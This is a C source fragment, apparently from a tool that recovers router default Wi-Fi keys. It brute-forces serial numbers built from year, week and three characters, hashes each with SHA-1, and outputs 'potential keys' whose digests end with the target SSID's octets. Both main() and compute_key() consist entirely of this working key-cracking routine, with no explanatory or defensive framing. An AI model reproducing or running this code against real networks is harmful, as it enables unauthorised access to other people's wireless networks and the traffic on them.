int main(int argc, char **argv) {
unsigned char sha1_digest[40]={0};
unsigned char ssid[8]={0},buf[8]={0},year,week,x1,x2,x3;
unsigned int keys = 0,ssidLen = 0,verbose = 0, opt = 0;
unsigned char *strId = NULL;
FILE *ofile = NULL;
unsigned int year_target = 0;
unsigned int year_max = 0;
SHA_CTX sha1_ctx;
if(argc > 1) {
while( (opt = getopt(argc, argv,"vuy:o:i:")) != -1) {
switch(opt) {
case 'i' :
strId = (unsigned char *)optarg;
break;
case 'o' :
if((ofile = fopen(optarg,"wb")) == NULL) {
fprintf(stderr,"\nCannot open %s for output.\n",optarg);
return(0);
}
break;
case 'v' :
verbose++;
break;
case 'u' :
// Hex 0x30 is the specific ascii byte ('0') for the UPC variant
serial[0] = 0x30;
serial[1] = 0x30;
break;
case 'y' :
sscanf(optarg, "%u", &year_target);
if(year_target >= 5 && year_target <= 10) {
break;
}
else {
fprintf(stderr, "Invalid year selected: %u\n", year_target);
usage(argv);
}
default:
usage(argv);
}
}
if(!strId) usage(argv);
if(!(ssidLen = str2ssid(ssid,strId))) usage(argv);
if(verbose)
fprintf(stdout,"Generating keys..please wait\n");
if (year_target) {
year = year_target;
year_max = year_target;
} else {
year = 5;
year_max = 10;
}
// generate values only for 2005 - 2010
for(;year <= year_max;year++) {
if(verbose)
fprintf(stdout,"Calculating keys for 20%02d...\n",year);
serial[2] = (year / 10) + 48;
serial[3] = (year % 10) + 48;
// 52 weeks of the year
for(week = 1;week <= 52;week++) {
serial[4] = (week / 10) + 48;
serial[5] = (week % 10) + 48;
for(x1 = 0;x1 < 36;x1++) {
serial[6] = hexmsb(charTable[x1]);
serial[7] = hexlsb(charTable[x1]);
for(x2 = 0;x2 < 36;x2++) {
serial[8] = hexmsb(charTable[x2]);
serial[9] = hexlsb(charTable[x2]);
for(x3 = 0;x3 < 36;x3++) {
serial[10] = hexmsb(charTable[x3]);
serial[11] = hexlsb(charTable[x3]);
// hash serial number with sha-1
SHA1_Init(&sha1_ctx);
SHA1_Update(&sha1_ctx,serial,SERIAL_LENGTH);
SHA1_Final(&sha1_ctx,sha1_digest);
// compare SSID octets with last number of bytes supplied
if(memcmp(&sha1_digest[(SHA1_LENGTH-ssidLen)],ssid,ssidLen) == 0) {
keys++;
if(verbose) {
memcpy(buf,serial,6);
fprintf(stdout,
"Serial Number Year 20%02d: %s**%C%C%C - potential key = ",year,
buf,charTable[x1],charTable[x2],charTable[x3]);
dump_key(stdout,sha1_digest);
} else {
dump_key(stdout,sha1_digest);
}
if(ofile) {
dump_key(ofile,sha1_digest);
}
}
}
}
}
}
}
if(verbose)
fprintf(stdout,"Found %d potential keys.\n",keys);
if(ofile) fclose(ofile);
}
else {
usage(argv);
}
return(0);
}
int
compute_key(char *strId, int year, char *output, int len) {
unsigned char sha1_digest[40]={0};
char ssid[8]={0},buf[8]={0},week,x1,x2,x3;
int keys = 0,ssidLen = 0;
int offset = 0;
if(!(ssidLen = str2ssid(ssid,strId)))
return -99;
//fprintf(stdout,"\nGenerating keys..please wait\n\n");
serial[3] = year | '0';
// 52 weeks of the year
for(week = 1;week <= 52;week++) {
serial[4] = (week / 10) + '0';
serial[5] = (week % 10) + '0';
for(x1 = 0;x1 < 36;x1++) {
serial[6] = hexmsb(charTable[x1]);
serial[7] = hexlsb(charTable[x1]);
for(x2 = 0;x2 < 36;x2++) {
serial[8] = hexmsb(charTable[x2]);
serial[9] = hexlsb(charTable[x2]);
for(x3 = 0;x3 < 36;x3++) {
serial[10] = hexmsb(charTable[x3]);
serial[11] = hexlsb(charTable[x3]);
// hash serial number with sha-1
CC_SHA1(serial, SERIAL_LENGTH, sha1_digest);
// compare SSID octets with last number of bytes supplied
if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) {
// check if more keys will fit in the provided buffer
if (keys >= len/(OUTPUT_KEY_SIZE))
goto __done;
keys++;
memcpy(buf,serial,6);
sprintf(&output[offset], "[%s**%C%C%C]: ", buf, charTable[x1],charTable[x2],charTable[x3]);
offset += OUTPUT_OVERHEAD;
dump_key(&output[offset],sha1_digest);
offset += DEFAULT_KEY_SIZE*2;
strcat(&output[offset], "\n");
output[++offset] = 0; // ensure to null-terminate the string
}
}
}
}
}
__done:
//fprintf(stdout,"\nFound %d potential keys.\n",keys);
return keys;
}
